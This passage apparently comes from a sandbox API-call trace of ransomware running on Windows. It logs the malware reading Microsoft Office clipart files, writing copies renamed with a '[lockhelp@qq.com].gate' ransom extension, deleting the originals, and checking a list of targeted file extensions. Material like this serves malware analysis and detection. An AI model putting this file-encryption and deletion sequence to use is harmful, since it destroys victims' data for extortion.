Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0319.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0319.083] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.083] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0319.084] GetLastError () returned 0x0 [0319.084] ReadFile (in: hFile=0x380, lpBuffer=0x3e4c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesRead=0x328fecc*=0x1fa1, lpOverlapped=0x0) returned 1 [0319.085] WriteFile (in: hFile=0x384, lpBuffer=0x3e4c020*, nNumberOfBytesToWrite=0x1fb0, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesWritten=0x328fc94*=0x1fb0, lpOverlapped=0x0) returned 1 [0319.085] ReadFile (in: hFile=0x380, lpBuffer=0x3e4c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1 [0319.086] WriteFile (in: hFile=0x384, lpBuffer=0x3e4c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1 [0319.086] SetEndOfFile (hFile=0x384) returned 1 [0319.086] CloseHandle (hObject=0x384) returned 1 [0319.086] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.086] SetEndOfFile (hFile=0x380) returned 1 [0319.087] CloseHandle (hObject=0x380) returned 1 [0319.087] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0319.087] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif")) returned 1 [0319.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0319.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0319.087] lstrlenW (lpString=".doc") returned 4 [0319.087] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0319.087] lstrlenW (lpString=".docx") returned 5 [0319.087] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0319.088] lstrlenW (lpString=".pdf") returned 4 [0319.088] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0319.088] lstrlenW (lpString=".xls") returned 4 [0319.088] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0319.088] lstrlenW (lpString=".xlsx") returned 5 [0319.088] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0319.088] lstrlenW (lpString=".ppt") returned 4 [0319.088] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0319.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0319.088] lstrlenW (lpString=".zip") returned 4 [0319.088] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0319.088] lstrlenW (lpString=".rar") returned 4 [0319.088] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0319.088] lstrlenW (lpString=".bz2") returned 4 [0319.088] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0319.088] lstrlenW (lpString=".7z") returned 3 [0319.088] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0319.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0319.088] lstrlenW (lpString=".dbf") returned 4 [0319.088] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0319.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0319.088] lstrlenW (lpString=".1cd") returned 4 [0319.088] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0319.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0319.088] lstrlenW (lpString=".jpg") returned 4 [0319.088] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0319.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0319.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0319.088] lstrlenW (lpString=".doc") returned 4 [0319.088] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0319.088] lstrlenW (lpString=".docx") returned 5 [0319.089] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0319.089] lstrlenW (lpString=".pdf") returned 4 [0319.089] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0319.089] lstrlenW (lpString=".xls") returned 4 [0319.089] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0319.089] lstrlenW (lpString=".xlsx") returned 5 [0319.089] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0319.089] lstrlenW (lpString=".ppt") returned 4 [0319.089] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0319.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0319.089] lstrlenW (lpString=".zip") returned 4 [0319.089] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0319.089] lstrlenW (lpString=".rar") returned 4 [0319.089] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0319.089] lstrlenW (lpString=".bz2") returned 4 [0319.089] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0319.089] lstrlenW (lpString=".7z") returned 3 [0319.089] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0319.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0319.089] lstrlenW (lpString=".dbf") returned 4 [0319.089] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0319.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0319.089] lstrlenW (lpString=".1cd") returned 4 [0319.089] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0319.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0319.089] lstrlenW (lpString=".jpg") returned 4 [0319.089] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0319.089] lstrcmpiW (lpString1=".GIF", lpString2=".gate") returned 1 [0319.089] lstrlenW (lpString="AG00052_.GIF") returned 12 [0319.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0319.090] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=7686) returned 1 [0319.090] CloseHandle (hObject=0x380) returned 1 [0319.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif")) returned 0x220 [0319.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0319.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0319.090] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.090] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0319.091] GetLastError () returned 0x0 [0319.091] ReadFile (in: hFile=0x380, lpBuffer=0x3e4c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesRead=0x328fecc*=0x1e06, lpOverlapped=0x0) returned 1 [0319.091] WriteFile (in: hFile=0x384, lpBuffer=0x3e4c020*, nNumberOfBytesToWrite=0x1e10, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesWritten=0x328fc94*=0x1e10, lpOverlapped=0x0) returned 1 [0319.092] ReadFile (in: hFile=0x380, lpBuffer=0x3e4c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1 [0319.092] WriteFile (in: hFile=0x384, lpBuffer=0x3e4c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1 [0319.092] SetEndOfFile (hFile=0x384) returned 1 [0319.093] CloseHandle (hObject=0x384) returned 1 [0319.093] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.093] SetEndOfFile (hFile=0x380) returned 1 [0319.093] CloseHandle (hObject=0x380) returned 1 [0319.093] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0319.094] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif")) returned 1 [0319.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0319.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0319.094] lstrlenW (lpString=".doc") returned 4 [0319.094] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0319.094] lstrlenW (lpString=".docx") returned 5 [0319.094] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0319.094] lstrlenW (lpString=".pdf") returned 4 [0319.094] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0319.094] lstrlenW (lpString=".xls") returned 4 [0319.094] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0319.094] lstrlenW (lpString=".xlsx") returned 5 [0319.094] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0319.094] lstrlenW (lpString=".ppt") returned 4 [0319.094] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0319.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0319.094] lstrlenW (lpString=".zip") returned 4 [0319.094] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0319.094] lstrlenW (lpString=".rar") returned 4 [0319.094] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0319.094] lstrlenW (lpString=".bz2") returned 4 [0319.094] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0319.095] lstrlenW (lpString=".7z") returned 3 [0319.095] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0319.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0319.095] lstrlenW (lpString=".dbf") returned 4 [0319.095] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0319.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0319.095] lstrlenW (lpString=".1cd") returned 4 [0319.095] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0319.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0319.095] lstrlenW (lpString=".jpg") returned 4 [0319.095] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0319.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0319.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0319.095] lstrlenW (lpString=".doc") returned 4 [0319.095] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0319.095] lstrlenW (lpString=".docx") returned 5 [0319.095] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0319.095] lstrlenW (lpString=".pdf") returned 4 [0319.095] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0319.095] lstrlenW (lpString=".xls") returned 4 [0319.095] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0319.095] lstrlenW (lpString=".xlsx") returned 5 [0319.095] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0319.095] lstrlenW (lpString=".ppt") returned 4 [0319.095] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0319.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0319.095] lstrlenW (lpString=".zip") returned 4 [0319.095] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0319.095] lstrlenW (lpString=".rar") returned 4 [0319.095] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0319.095] lstrlenW (lpString=".bz2") returned 4 [0319.095] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0319.095] lstrlenW (lpString=".7z") returned 3 [0319.095] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0319.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0319.096] lstrlenW (lpString=".dbf") returned 4 [0319.096] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0319.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0319.096] lstrlenW (lpString=".1cd") returned 4 [0319.096] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0319.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0319.096] lstrlenW (lpString=".jpg") returned 4 [0319.096] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0319.096] lstrcmpiW (lpString1=".GIF", lpString2=".gate") returned 1 [0319.096] lstrlenW (lpString="AG00057_.GIF") returned 12 [0319.096] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0319.096] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=11891) returned 1 [0319.096] CloseHandle (hObject=0x380) returned 1 [0319.096] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif")) returned 0x220 [0319.096] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0319.096] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0319.097] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.097] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0319.097] GetLastError () returned 0x0 [0319.097] ReadFile (in: hFile=0x380, lpBuffer=0x3e4c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesRead=0x328fecc*=0x2e73, lpOverlapped=0x0) returned 1 [0319.691] WriteFile (in: hFile=0x384, lpBuffer=0x3e4c020*, nNumberOfBytesToWrite=0x2e80, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesWritten=0x328fc94*=0x2e80, lpOverlapped=0x0) returned 1 [0319.692] ReadFile (in: hFile=0x380, lpBuffer=0x3e4c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1 [0319.692] WriteFile (in: hFile=0x384, lpBuffer=0x3e4c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1 [0319.692] SetEndOfFile (hFile=0x384) returned 1 [0319.692] CloseHandle (hObject=0x384) returned 1 [0319.692] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.693] SetEndOfFile (hFile=0x380) returned 1 [0319.693] CloseHandle (hObject=0x380) returned 1 [0319.693] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0319.693] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif")) returned 1 [0319.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0319.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0319.694] lstrlenW (lpString=".doc") returned 4 [0319.694] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0319.694] lstrlenW (lpString=".docx") returned 5 [0319.694] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0319.694] lstrlenW (lpString=".pdf") returned 4 [0319.694] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0319.694] lstrlenW (lpString=".xls") returned 4 [0319.694] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0319.694] lstrlenW (lpString=".xlsx") returned 5 [0319.694] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0319.694] lstrlenW (lpString=".ppt") returned 4 [0319.694] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0319.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0319.694] lstrlenW (lpString=".zip") returned 4 [0319.694] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0319.694] lstrlenW (lpString=".rar") returned 4 [0319.694] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0319.694] lstrlenW (lpString=".bz2") returned 4 [0319.694] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0319.694] lstrlenW (lpString=".7z") returned 3 [0319.694] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0319.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0319.695] lstrlenW (lpString=".dbf") returned 4 [0319.695] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0319.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0319.695] lstrlenW (lpString=".1cd") returned 4 [0319.695] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0319.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0319.695] lstrlenW (lpString=".jpg") returned 4 [0319.695] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0319.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0319.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0319.695] lstrlenW (lpString=".doc") returned 4 [0319.695] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0319.695] lstrlenW (lpString=".docx") returned 5 [0319.695] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0319.695] lstrlenW (lpString=".pdf") returned 4 [0319.695] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0319.695] lstrlenW (lpString=".xls") returned 4 [0319.695] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0319.695] lstrlenW (lpString=".xlsx") returned 5 [0319.695] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0319.695] lstrlenW (lpString=".ppt") returned 4 [0319.695] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0319.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0319.695] lstrlenW (lpString=".zip") returned 4 [0319.695] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0319.695] lstrlenW (lpString=".rar") returned 4 [0319.695] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0319.695] lstrlenW (lpString=".bz2") returned 4 [0319.695] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0319.695] lstrlenW (lpString=".7z") returned 3 [0319.695] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0319.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0319.695] lstrlenW (lpString=".dbf") returned 4 [0319.695] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0319.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0319.696] lstrlenW (lpString=".1cd") returned 4 [0319.696] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0319.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0319.696] lstrlenW (lpString=".jpg") returned 4 [0319.696] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0319.730] lstrcmpiW (lpString1=".GIF", lpString2=".gate") returned 1 [0319.730] lstrlenW (lpString="AG00135_.GIF") returned 12 [0319.730] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0319.772] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=2596) returned 1 [0319.772] CloseHandle (hObject=0x360) returned 1 [0319.772] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif")) returned 0x220 [0319.772] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0319.772] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 